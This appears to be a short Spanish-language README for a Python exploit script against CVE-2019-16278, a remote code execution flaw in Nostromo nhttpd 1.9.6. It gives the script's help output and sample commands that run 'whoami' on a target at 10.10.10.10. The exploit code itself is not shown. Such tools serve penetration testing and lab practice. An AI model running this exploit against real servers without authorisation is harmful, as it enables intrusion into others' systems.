CVE-2019-16278 - Nostromo 1.9.6 RCE

Script en Python para explotar RCE en Nostromo nhttpd <= 1.9.6.

Ayuda

usage: CVE-2019-16278.py [-h] [-t TARGET] [-p PORT] [-c COMMAND] [-b BYTES]

Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Remote host to target
  -p PORT, --port PORT  Remote port to target
  -c COMMAND, --command COMMAND
                        Command to execute on the server
  -b BYTES, --bytes BYTES
                        The number of bytes to receive back in the response

Uso

Ejecutar el exploit

python CVE-2019-16278.py -t 10.10.10.10. -p 80 -c whoami

Ejecutar el exploit y recibir más bytes en la respuesta

python CVE-2019-16278.py -t 10.10.10.10. -p 80 -c whoami -b 4096

CVE-2019-16278-Nostromo_1.9.6-RCE

Más Populares